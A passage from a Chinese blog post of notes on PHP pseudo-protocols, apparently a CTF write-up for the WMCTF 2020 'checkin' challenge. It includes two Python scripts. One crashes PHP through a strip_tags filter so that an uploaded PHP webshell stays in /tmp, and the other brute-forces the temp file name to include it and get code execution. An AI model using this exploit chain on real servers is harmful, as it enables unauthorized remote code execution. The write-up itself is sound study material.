<h2 id="九、checkin"><a href="#九、checkin" class="headerlink" title="九、checkin"></a>九、checkin</h2><p><a target="_blank" rel="noopener" href="https://cyc1e183.github.io/2020/08/04/WMctf2020-Checkin%E5%87%BA%E9%A2%98%E6%83%B3%E6%B3%95-%E9%A2%98%E8%A7%A3/">https://cyc1e183.github.io/2020/08/04/WMctf2020-Checkin%E5%87%BA%E9%A2%98%E6%83%B3%E6%B3%95-%E9%A2%98%E8%A7%A3/</a></p>
<p>题目的环境特地设置了php 7.0.33版本，由于file_put_contents也可以利用伪协议，所以利用再利用string.strip_tags会发生segment fault，这时候上传一个webshell会以临时文件的形式保存在/tmp中（老知识点了），利用require_once包含getshell即可</p>
<p>生成临时文件的脚本：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> itertools</span><br><span class="line"></span><br><span class="line">charset = string.digits + string.letters</span><br><span class="line"></span><br><span class="line">host = <span class="string">&quot;web_checkin2.wmctf.wetolink.com&quot;</span></span><br><span class="line">port = <span class="number">80</span></span><br><span class="line">base_url = <span class="string">&quot;http://%s:%d&quot;</span> % (host, port)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">upload_file_to_include</span>(<span class="params">url, file_content</span>):</span></span><br><span class="line">    files = &#123;<span class="string">&#x27;file&#x27;</span>: (<span class="string">&#x27;evil.jpg&#x27;</span>, file_content, <span class="string">&#x27;image/jpeg&#x27;</span>)&#125;</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        response = requests.post(url, files=files)</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span> e</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">generate_tmp_files</span>():</span></span><br><span class="line">    file_content = <span class="string">&#x27;&lt;?php system(&quot;xxxxxxxx&quot;);?&gt;&#x27;</span></span><br><span class="line">    phpinfo_url = <span class="string">&quot;%s/?content=php://filter/write=string.strip_tags/resource=Cyc1e.php&quot;</span> % (</span><br><span class="line">        base_url)</span><br><span class="line">    <span class="built_in">print</span> phpinfo_url</span><br><span class="line">    length = <span class="number">6</span></span><br><span class="line">    times = <span class="built_in">len</span>(charset) ** (length / <span class="number">2</span>)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> xrange(times):</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;[+] %d / %d&quot;</span> % (i, times)</span><br><span class="line">        upload_file_to_include(phpinfo_url, file_content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    generate_tmp_files()</span><br></pre></td></tr></table></figure>


<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line">charset = string.digits + string.letters</span><br><span class="line"></span><br><span class="line">host = <span class="string">&quot;web_checkin2.wmctf.wetolink.com&quot;</span></span><br><span class="line">port = <span class="number">80</span></span><br><span class="line">base_url = <span class="string">&quot;http://%s:%d&quot;</span> % (host, port)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">brute_force_tmp_files</span>():</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> charset:</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> charset:</span><br><span class="line">            <span class="keyword">for</span> k <span class="keyword">in</span> charset:</span><br><span class="line">                <span class="keyword">for</span> l <span class="keyword">in</span> charset:</span><br><span class="line">                    <span class="keyword">for</span> m <span class="keyword">in</span> charset:</span><br><span class="line">                        <span class="keyword">for</span> n <span class="keyword">in</span> charset:</span><br><span class="line">                            filename = i + j + k + l + m + n</span><br><span class="line">                            url = <span class="string">&quot;%s/index.php?content=/tmp/php%s&quot;</span> % (</span><br><span class="line">                                base_url, filename)</span><br><span class="line">                            <span class="built_in">print</span> url</span><br><span class="line">                            <span class="keyword">try</span>:</span><br><span class="line">                                response = requests.get(url)</span><br><span class="line">                                <span class="keyword">if</span> <span class="string">&#x27;flag&#x27;</span> <span class="keyword">in</span> response.content:</span><br><span class="line">                                    <span class="built_in">print</span> <span class="string">&quot;[+] Include success!&quot;</span></span><br><span class="line">                                    <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">                            <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">                                <span class="built_in">print</span> e</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line">    brute_force_tmp_files()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure>

<h2 id="十、file协议"><a href="#十、file协议" class="headerlink" title="十、file协议"></a>十、file协议</h2><h2 id="十一、zip-，bzip-zlib-协议"><a href="#十一、zip-，bzip-zlib-协议" class="headerlink" title="十一、zip://，bzip://, zlib:// 协议"></a>十一、zip://，bzip://, zlib:// 协议</h2><h2 id="十二、data-协议"><a href="#十二、data-协议" class="headerlink" title="十二、data:// 协议"></a>十二、data:// 协议</h2><h2 id="十三-phar协议"><a href="#十三-phar协议" class="headerlink" title="十三 phar协议"></a>十三 phar协议</h2><p><a target="_blank" rel="noopener" href="https://www.freebuf.com/column/148886.html">https://www.freebuf.com/column/148886.html</a></p>
<p>参考： <a target="_blank" rel="noopener" href="https://www.anquanke.com/post/id/202510">https://www.anquanke.com/post/id/202510</a></p>
<p><a target="_blank" rel="noopener" href="https://xz.aliyun.com/t/8163">https://xz.aliyun.com/t/8163</a></p>
<p><a target="_blank" rel="noopener" href="https://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&amp;mid=2652861276&amp;idx=1&amp;sn=5948761b784b924ad8ee5a3abcbcc643&amp;chksm=bd590f918a2e8687ceae5f6cf3924212c048bb6b4b2b079e7f3731d3ce892114503d58d8fff1&amp;mpshare=1&amp;scene=23&amp;srcid=09029TH1s39lisKzMFVUHip2&amp;sharer_sharetime=1598979305485&amp;sharer_shareid=edfac7bd677646ff691b8c20fd81f149#rd">https://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&amp;mid=2652861276&amp;idx=1&amp;sn=5948761b784b924ad8ee5a3abcbcc643&amp;chksm=bd590f918a2e8687ceae5f6cf3924212c048bb6b4b2b079e7f3731d3ce892114503d58d8fff1&amp;mpshare=1&amp;scene=23&amp;srcid=09029TH1s39lisKzMFVUHip2&amp;sharer_sharetime=1598979305485&amp;sharer_shareid=edfac7bd677646ff691b8c20fd81f149#rd</a></p>

      </div>
      <div class="post-tags-categories">
        
        <div class="tags">
          
            <a href="/tags/%E7%AC%94%E8%AE%B0/" class="">
              笔记
            </a>
          
            <a href="/tags/php/" class="">
              php
            </a>
          
            <a href="/tags/%E4%BC%AA%E5%8D%8F%E8%AE%AE/" class="">
              伪协议
            </a>
          
        </div>
        
      </div>
      
        <div class="copyright">
  <ul class="post-copyright">
    <li class="post-copyright-author">
    <strong>作者:  </strong>阳阳</a>
    </li>
    <li class="post-copyright-link">
    <strong>文章链接:  </strong>
    <a href="/2021/03/21/2021-03-21-tan-suo-php-wei-xie-yi/" target="_blank" title="探索php伪协议">https://yangyang-linux.gitee.io/2021/03/21/2021-03-21-tan-suo-php-wei-xie-yi/</a>
    </li>
    <li class="post-copyright-license">
      <strong>版权声明:   </strong>
      本网站所有文章除特别声明外,均采用 <a rel="license" href="https://creativecommons.org/licenses/by-nc-nd/4.0/" target="_blank" title="Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0)">CC BY-NC-ND 4.0</a>
      许可协议。转载请注明出处!
    </li>
  </ul>
<div>
      
    </article>
    <!-- 上一篇文章和下一篇文章 -->
    
      <!-- 文章详情页的上一页和下一页 -->
<div class="post-nav">



  
  <div class="post-nav-prev post-nav-item">
    <div class="post-nav-img" style="background-size: cover; 
      background-position: center center;">
      <img class="lazyload lazyload placeholder" src="/medias/3.jpg" class="lazyload placeholder" data-srcset="/medias/3.jpg" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="">
    </div>
    <a href="/2021/04/02/2021-04-02-mysql-xue-xi-bi-ji/" class="post-nav-link">
      <div class="title">
        <i class="fas fa-angle-left"></i> 上一篇:
        <div class="title-text">MySql学习笔记</div>
      </div>
      
      <!-- <div class="content">
        1、前言DB：（database，数据库，数据库实际上在硬盘上以文件的形式存在）
DBMS（database manag
      </div> -->
    </a>
  </div>



  
  <div class="post-nav-next post-nav-item">
    <div class="post-nav-img" style="background-size: cover; 
      background-position: center center;">
      <img class="lazyload lazyload placeholder" src="/medias/3.jpg" class="lazyload placeholder" data-srcset="/medias/3.jpg" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" src="" alt="">
    </div>
    <a href="/2021/03/13/2021-03-13-upload-labs/" class="post-nav-link">
      <div class="title">
        下一篇: <i class="fas fa-angle-right"></i>
        <div class="title-text">upload-labs</div>
      </div>
      <!-- <div class="content">
        前言文件上传
各版本的一句话木马1234567891011ASP（.asp）: &lt;%eval request(&q
      </div> -->
    </a>
  </div>

</div>

    
    

    <!-- 打赏 -->
    
      <div id="appDonate" class="post-donate">
  <div id="donate_board" class="donate_bar center" ref="donate">
    <a id="btn_donate" class="btn_donate" href="javascript:;" title="打赏" @click="showDialogDrawer()"></a>
  </div>
  <transition name="fade">
    <div 
      class="donate-box-mask"
      v-cloak 
      v-show="visible"
      @click="cancelDialogDrawer()"
    >
    </div>
  </transition>
  <transition name="bounce">
    <div class="donate-box" v-cloak v-show="visible">
      <div class="donate-box_close">
        <i class="fas fa-times" aria-hidden="true" @click="cancelDialogDrawer" pointer></i>
      </div>
      <div class="donate-box_title">
        <h4>
          你的赏识是我前进的动力
        </h4>
      </div>
      <div class="donate-box_tab">
        <div class="Alipay" pointer :class="{'active': tabActive === 'Alipay'}" @click="changeTabActive('Alipay')">
          支付宝
        </div>
        <div class="WeChatpay" pointer :class="{'active': tabActive === 'WeChatpay'}" @click="changeTabActive('WeChatpay')">
          微信
        </div>
      </div>
      <div class="donate-box_img">
        <div class="AlipayImg" v-show="tabActive === 'Alipay'">
          <img src="/medias/zfb.jpg" class="lazyload placeholder" data-srcset="/medias/zfb.jpg" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="支付宝打赏" />
        </div> 
        <div class="WeChatpayImg" v-show="tabActive === 'WeChatpay'">
          <img src="/medias/wx.jpg" class="lazyload placeholder" data-srcset="/medias/wx.jpg" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="微信打赏" />
        </div>
      </div>
    </div>
  </transition>
</div>

<script>
  var body = document.body || document.documentElement || window;
  var vm = new Vue({
    el: '#appDonate',
    data: {
      visible: false,
      tabActive: 'Alipay',
      top: 0,
    },
    computed: {
    },
    mounted() {
    },
    methods: {
      showDialogDrawer() {
        this.visible = true;
        // 防止页面滚动，只能让弹框滚动
        // function getScroll() {
        //   return {
        //     left: window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft || 0,
        //     top: window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop || 0
        //   };
        // }
        this.top = $(document).scrollTop() // or getScroll().top
        // console.log('aa', $('.main-content'));
        body.style.cssText = 'overflow: hidden;';
      },
      cancelDialogDrawer() {
        this.visible = false;
        body.removeAttribute('style');
        $(document).scrollTop(this.top)
      },
      changeTabActive(name) {
        this.tabActive = name;
      }
    },
    created() {}
  })
</script>
    

    <!-- 分享 -->
    
      <!-- https://github.com/overtrue/share.js -->
<!-- 文章详情页的分享 -->
<div class="social-share" data-sites="twitter,facebook,google,qq,qzone,wechat,weibo,douban,linkedin" data-wechat-qrcode-helper="<p>微信扫一扫即可分享！</p>"></div>

<script src="/js/shareJs/social-share.min.js"></script>
</script>

<style>
  .social-share {
    margin: 20px 0;
  }
</style>


    
    
    <!-- 评论 -->
    <!-- 评论 -->

  <div id="myComment">
    
      
<section id="comments" style="padding: 1em; margin: 15px auto;"
	class="animated bounceInUp">
	<div id="vcomment" class="comment"></div>
</section>
<style>
	#comments {
		background: rgba(255,255,255,0.9);
	}
	#veditor {
		background-image: url('https://img.zcool.cn/community/01a253594c71cfa8012193a329a77f.gif');
		background-size: contain;
		background-repeat: no-repeat;
		background-position: right;
		background-color: rgba(255, 255, 255, 0);
		resize: vertical;
	}
	#veditor:focus{
		background-position-y: 200px;
		transition: all 0.2s ease-in-out 0s;
	}
	#vcomment .vcards .vcard .vh .vhead .vtag.vvisitor {
		background-color: #42b983;
	}
	.v[data-class=v] .vbtn:active, .v[data-class=v] .vbtn:hover {
		color: #42b983;
		border-color: #42b983;
	}
	#vcomment .vcards .vcard .vhead .vsys i {
		display: none;
	}
	/* 底部valine链接 */
	#vcomment .vpower {
		display: none;
	}
	
	/* 底下注释是修改 名称和邮箱和网址输入框的样式 */
	/* #vcomment .vheader {
		display: flex;
		justify-content: space-around;
	}
	
	#vcomment .vheader .vnick {
		width: 31%;
		border: 2px solid #dedede;
		padding-left: 10px;
		padding-right: 10px;
		border-radius: 5px
	}

	#vcomment .vheader .vmail {
		width: 31%;
		border: 2px solid #dedede;
		padding-left: 10px;
		padding-right: 10px;
		border-radius: 5px
	}

	#vcomment .vheader .vlink {
		width: 31%;
		border: 2px solid #dedede;
		padding-left: 10px;
		padding-right: 10px;
		border-radius: 5px
	} */

	img.vimg {
		transition: all 1s;
		/* 头像旋转时间为 1s */
	}

	img.vimg:hover {
		transform: rotate(360deg);
		-webkit-transform: rotate(360deg);
		-moz-transform: rotate(360deg);
		-o-transform: rotate(360deg);
		-ms-transform: rotate(360deg);
	}

	#vcomment .vcards .vcard {
		padding: 15px 20px 0 20px;
		border-radius: 10px;
		margin-bottom: 15px;
		box-shadow: 0 0 4px 1px rgba(0, 0, 0, .12);
		transition: all .3s
	}

	#vcomment .vcards .vcard:hover {
		box-shadow: 0 0 8px 3px rgba(0, 0, 0, .12)
	}

	#vcomment .vcards .vcard .vh .vcard {
		border: none;
		box-shadow: none;
	}
</style>
    
  </div>

<!-- comment script in themes\hexo-theme-bamboo\layout\_partial\scripts\index.ejs -->


  </div>

  <!-- 目录 -->
  <!-- 文章详情页右侧目录 -->

  <div class="toc-aside">
    <div class="toc-main">
      <div class="toc-aside-title">
        <i class="fas fa-list-ul" aria-hidden="true"></i><span>本文目录</span>
        
          <div class="toc-open-close">本文目录</div>
        
      </div>
      <div class="toc-content">
        <div class="toc"></div>
      </div>
    </div>
  </div>

  <!-- 手机端目录按钮 -->
  <div id="toc-mobile-btn">
    <i class="fas fa-list-ul" aria-hidden="true"></i>
  </div>


<script>
  function closeToc(init) {
    $(".toc-aside").css({'width': 0, 'padding': 0, 'transition': init ?  'noe' : 'width 0.3s' });
    $(".toc-content").css({'width': 0});
    $(".toc-aside-title span, .toc-aside-title i").css({'display': 'none'});
    $(".main-content").css({'width': '75%', 'margin': '10px auto'});
  };
  function openToc() {
    $(".main-content").css({'width': '65%', 'margin-right': '10px', 'margin-left': 'calc(35% - 350px)'});
    $(".toc-aside").css({'width': '300px', 'padding': '0 10px', 'transition': 'width 0.3s'});
    $(".toc-content").css({'width': '300px'});
    $(".toc-aside-title span, .toc-aside-title i").css({'display': 'inline-block'});
  }
  function openBtnClickFn () {
    let openOrCloseBtn = $('.toc-aside .toc-aside-title .toc-open-close');
    let open = eval('' || 'false');
    openOrCloseBtn.click(function() {
      if (open) {
        closeToc();
        open = false;
      } else {
        openToc();
        open = true;
      }
    });
  };
  openBtnClickFn();
  initCloseTocWidth(true);

  function initCloseTocWidth(init) {
    if (window.innerWidth >= 992) {
      let isClose = true;
      isClose && closeToc(init)
    }
  }

  document.addEventListener('pjax:complete', function () {
    $(".toc-aside").css({'transition': 'no'});
  })
  document.addEventListener('pjax:complete', function () {
    openBtnClickFn();
  })
  
</script>

  <!-- 图片放大 Wrap images with fancybox support -->
  <script src="/js/wrapImage.js"></script>
</div>

<!-- 文章详情页背景图 -->
<div id="appBgSwiper" style="position: fixed;left: 0;top: 0;width: 100%;height: 100%;z-index: -2;"
	:style="{'background-color': bgColor ? bgColor : 'transparent'}">
	<transition-group tag="ul" :name="names">
		<li v-for='(image,index) in img' :key='index' v-show="index === mark" class="bg-swiper-box">
			<img :src="image" class="bg-swiper-img no-lazy">
		</li>
	</transition-group>
</div>
<script>
	var vm = new Vue({
		el: '#appBgSwiper',
		data: {
			names: '' || 'fade' || 'fade', // translate-fade fade
			mark: 0,
			img: [],
			bgColor: '',
			time: null
		},
		methods: {   //添加方法
			change(i, m) {
				if (i > m) {
					// this.names = 'fade';
				} else if (i < m) {
					// this.names = 'fade';
				} else {
					return;
				}
				this.mark = i;
			},
			prev() {
				// this.names = 'fade';
				this.mark--;
				if (this.mark === -1) {
					this.mark = 3;
					return
				}
			},
			next() {
				// this.names = 'fade';
				this.mark++;
				if (this.mark === this.img.length) {
					this.mark = 0;
					return
				}
			},
			autoPlay() {
				// this.names = 'fade';
				this.mark++;
				if (this.mark === this.img.length) {
					this.mark = 0;
					return
				}
			},
			play() {
				let bgImgDelay = '' || '180000'
				let delay = parseInt(bgImgDelay) || 180000;
				this.time = setInterval(this.autoPlay, delay);
			},
			enter() {
				clearInterval(this.time);
			},
			leave() {
				this.play();
			}
		},
		created() {
			this.play()
		},
		beforeDestroy() {
			clearInterval(this.time);
		},
		mounted() {
			let prop = '' || 'https://pic4.zhimg.com/80/v2-5030587bac1b856d09e0a119ff6d7c04_1440w.jpg,https://api.btstu.cn/sjbz/api.php';
			let isImg = prop.includes('.bmp') || prop.includes('.jpg') || prop.includes('.png') || prop.includes('.tif') || prop.includes('.gif') || prop.includes('.pcx') || prop.includes('.tga') || prop.includes('.exif') || prop.includes('.fpx') || prop.includes('.psd') || prop.includes('.cdr') || prop.includes('.pcd') || prop.includes('.dxf') || prop.includes('.ufo') || prop.includes('.eps') || prop.includes('.ai') || prop.includes('.raw') || prop.includes('.WMF') || prop.includes('.webp') || prop.includes('.jpeg') || prop.includes('http://') || prop.includes('https://')
			if (isImg) {
				let img = prop.split(',');
				let configRoot = '/'
				let arrImg = [];
				img.forEach(el => {
					var Expression = /http(s)?:\/\/([\w-]+\.)+[\w-]+(\/[\w- .\/?%&=]*)?/;
					var objExp = new RegExp(Expression);

					if (objExp.test(el)) {
						// http or https
						arrImg.push(el);
					} else {
						// 非http or https开头
						// 本地文件
						let firstStr = el.charAt(0);
						if (firstStr == '/') {
							el = el.substr(1); // 删除第一个字符 '/',因为 configRoot最后一个字符为 /
						}
						el = configRoot + el;
						arrImg.push(el);
					}
				})
				this.img = arrImg;
			} else {
				this.bgColor = prop;
			}
		}
	})
</script>

<style>
	.bg-swiper-box {
		position: absolute;
		display: block;
		width: 100%;
		height: 100%;
	}

	.bg-swiper-img {
		object-fit: cover;
		width: 100%;
		height: 100%;
	}
</style>




  <script>
  function loadMermaid() {
    if (document.getElementsByClassName('mermaid').length) {
      if (window.mermaidJsLoad) mermaid.init()
      else {
        loadScript('https://cdnjs.cloudflare.com/ajax/libs/mermaid/8.6.3/mermaid.min.js').then(() => {
          window.mermaidJsLoad = true
          mermaid.initialize({
            theme: 'default',
          })
          if ('true') {
            mermaid.init();
          }
        })
      }
    }
  };
  document.addEventListener("DOMContentLoaded", function () {
    loadMermaid();
  })

  document.addEventListener('pjax:complete', function () {
    loadMermaid();
  })
  
</script>


      </main>
    </div>

    <!-- 页脚 -->
    
  
  <!-- 底部鱼儿跳动效果，依赖于jquery-->
<div id="j-fish-skip" style=" position: relative;height: 153px;width: auto;"></div>
<script>
  var RENDERER = {
    POINT_INTERVAL: 5,
    FISH_COUNT: 3,
    MAX_INTERVAL_COUNT: 50,
    INIT_HEIGHT_RATE: .5,
    THRESHOLD: 50,
    FISH_COLOR: '',
    init: function () {
      this.setFishColor(); this.setParameters(), this.reconstructMethods(), this.setup(), this.bindEvent(), this.render()
    },
    setFishColor: function () {
      let isDark = JSON.parse(localStorage.getItem('dark')) || JSON.parse('false');
      if (isDark) {
        this.FISH_COLOR = '#222'; // 暗黑色，有时间把这整成一个变量
      } else {
        this.FISH_COLOR = '' || '#42b983';
      }
    },
    setParameters: function () {
      this.$window = $(window), this.$container = $("#j-fish-skip"), this.$canvas = $("<canvas />"), this.context = this.$canvas.appendTo(this.$container).get(0).getContext("2d"), this.points = [], this.fishes = [], this.watchIds = []
    },
    createSurfacePoints: function () {
      var t = Math.round(this.width / this.POINT_INTERVAL);
      this.pointInterval = this.width / (t - 1), this.points.push(new SURFACE_POINT(this, 0));
      for (var i = 1; i < t; i++) {
        var e = new SURFACE_POINT(this, i * this.pointInterval),
          h = this.points[i - 1];
        e.setPreviousPoint(h), h.setNextPoint(e), this.points.push(e)
      }
    },
    reconstructMethods: function () {
      this.watchWindowSize = this.watchWindowSize.bind(this), this.jdugeToStopResize = this.jdugeToStopResize.bind(this), this.startEpicenter = this.startEpicenter.bind(this), this.moveEpicenter = this.moveEpicenter.bind(this), this.reverseVertical = this.reverseVertical.bind(this), this.render = this.render.bind(this)
    },
    setup: function () {
      this.points.length = 0, this.fishes.length = 0, this.watchIds.length = 0, this.intervalCount = this.MAX_INTERVAL_COUNT, this.width = this.$container.width(), this.height = this.$container.height(), this.fishCount = this.FISH_COUNT * this.width / 500 * this.height / 500, this.$canvas.attr({
        width: this.width,
        height: this.height
      }), this.reverse = !1, this.fishes.push(new FISH(this)), this.createSurfacePoints()
    },
    watchWindowSize: function () {
      this.clearTimer(), this.tmpWidth = this.$window.width(), this.tmpHeight = this.$window.height(), this.watchIds.push(setTimeout(this.jdugeToStopResize, this.WATCH_INTERVAL))
    },
    clearTimer: function () {
      for (; this.watchIds.length > 0;) clearTimeout(this.watchIds.pop())
    },
    jdugeToStopResize: function () {
      var t = this.$window.width(),
        i = this.$window.height(),
        e = t == this.tmpWidth && i == this.tmpHeight;
      this.tmpWidth = t, this.tmpHeight = i, e && this.setup()
    },
    bindEvent: function () {
      this.$window.on("resize", this.watchWindowSize), this.$container.on("mouseenter", this.startEpicenter), this.$container.on("mousemove", this.moveEpicenter)
    },
    getAxis: function (t) {
      var i = this.$container.offset();
      return {
        x: t.clientX - i.left + this.$window.scrollLeft(),
        y: t.clientY - i.top + this.$window.scrollTop()
      }
    },
    startEpicenter: function (t) {
      this.axis = this.getAxis(t)
    },
    moveEpicenter: function (t) {
      var i = this.getAxis(t);
      this.axis || (this.axis = i), this.generateEpicenter(i.x, i.y, i.y - this.axis.y), this.axis = i
    },
    generateEpicenter: function (t, i, e) {
      if (!(i < this.height / 2 - this.THRESHOLD || i > this.height / 2 + this.THRESHOLD)) {
        var h = Math.round(t / this.pointInterval);
        h < 0 || h >= this.points.length || this.points[h].interfere(i, e)
      }
    },
    reverseVertical: function () {
      this.reverse = !this.reverse;
      for (var t = 0, i = this.fishes.length; t < i; t++) this.fishes[t].reverseVertical()
    },
    controlStatus: function () {
      for (var t = 0, i = this.points.length; t < i; t++) this.points[t].updateSelf();
      for (t = 0, i = this.points.length; t < i; t++) this.points[t].updateNeighbors();
      this.fishes.length < this.fishCount && 0 == --this.intervalCount && (this.intervalCount = this.MAX_INTERVAL_COUNT, this.fishes.push(new FISH(this)))
    },
    render: function () {
      requestAnimationFrame(this.render), this.controlStatus(), this.context.clearRect(0, 0, this.width, this.height), this.context.fillStyle = this.FISH_COLOR;
      for (var t = 0, i = this.fishes.length; t < i; t++) this.fishes[t].render(this.context);
      this.context.save(), this.context.globalCompositeOperation = "xor", this.context.beginPath(), this.context.moveTo(0, this.reverse ? 0 : this.height);
      for (t = 0, i = this.points.length; t < i; t++) this.points[t].render(this.context);
      this.context.lineTo(this.width, this.reverse ? 0 : this.height), this.context.closePath(), this.context.fill(), this.context.restore()
    }
  },
  SURFACE_POINT = function (t, i) {
    this.renderer = t, this.x = i, this.init()
  };
  SURFACE_POINT.prototype = {
    SPRING_CONSTANT: .03,
    SPRING_FRICTION: .9,
    WAVE_SPREAD: .3,
    ACCELARATION_RATE: .01,
    init: function () {
      this.initHeight = this.renderer.height * this.renderer.INIT_HEIGHT_RATE, this.height = this.initHeight, this.fy = 0, this.force = {
        previous: 0,
        next: 0
      }
    },
    setPreviousPoint: function (t) {
      this.previous = t
    },
    setNextPoint: function (t) {
      this.next = t
    },
    interfere: function (t, i) {
      this.fy = this.renderer.height * this.ACCELARATION_RATE * (this.renderer.height - this.height - t >= 0 ? -1 : 1) * Math.abs(i)
    },
    updateSelf: function () {
      this.fy += this.SPRING_CONSTANT * (this.initHeight - this.height), this.fy *= this.SPRING_FRICTION, this.height += this.fy
    },
    updateNeighbors: function () {
      this.previous && (this.force.previous = this.WAVE_SPREAD * (this.height - this.previous.height)), this.next && (this.force.next = this.WAVE_SPREAD * (this.height - this.next.height))
    },
    render: function (t) {
      this.previous && (this.previous.height += this.force.previous, this.previous.fy += this.force.previous), this.next && (this.next.height += this.force.next, this.next.fy += this.force.next), t.lineTo(this.x, this.renderer.height - this.height)
    }
  };
  var FISH = function (t) {
    this.renderer = t, this.init()
  };
  FISH.prototype = {
    GRAVITY: .4,
    init: function () {
      this.direction = Math.random() < .5, this.x = this.direction ? this.renderer.width + this.renderer.THRESHOLD : -this.renderer.THRESHOLD, this.previousY = this.y, this.vx = this.getRandomValue(4, 10) * (this.direction ? -1 : 1), this.renderer.reverse ? (this.y = this.getRandomValue(1 * this.renderer.height / 10, 4 * this.renderer.height / 10), this.vy = this.getRandomValue(2, 5), this.ay = this.getRandomValue(.05, .2)) : (this.y = this.getRandomValue(6 * this.renderer.height / 10, 9 * this.renderer.height / 10), this.vy = this.getRandomValue(-5, -2), this.ay = this.getRandomValue(-.2, -.05)), this.isOut = !1, this.theta = 0, this.phi = 0
    },
    getRandomValue: function (t, i) {
      return t + (i - t) * Math.random()
    },
    reverseVertical: function () {
      this.isOut = !this.isOut, this.ay *= -1
    },
    controlStatus: function (t) {
      this.previousY = this.y, this.x += this.vx, this.y += this.vy, this.vy += this.ay, this.renderer.reverse ? this.y > this.renderer.height * this.renderer.INIT_HEIGHT_RATE ? (this.vy -= this.GRAVITY, this.isOut = !0) : (this.isOut && (this.ay = this.getRandomValue(.05, .2)), this.isOut = !1) : this.y < this.renderer.height * this.renderer.INIT_HEIGHT_RATE ? (this.vy += this.GRAVITY, this.isOut = !0) : (this.isOut && (this.ay = this.getRandomValue(-.2, -.05)), this.isOut = !1), this.isOut || (this.theta += Math.PI / 20, this.theta %= 2 * Math.PI, this.phi += Math.PI / 30, this.phi %= 2 * Math.PI), this.renderer.generateEpicenter(this.x + (this.direction ? -1 : 1) * this.renderer.THRESHOLD, this.y, this.y - this.previousY), (this.vx > 0 && this.x > this.renderer.width + this.renderer.THRESHOLD || this.vx < 0 && this.x < -this.renderer.THRESHOLD) && this.init()
    },
    render: function (t) {
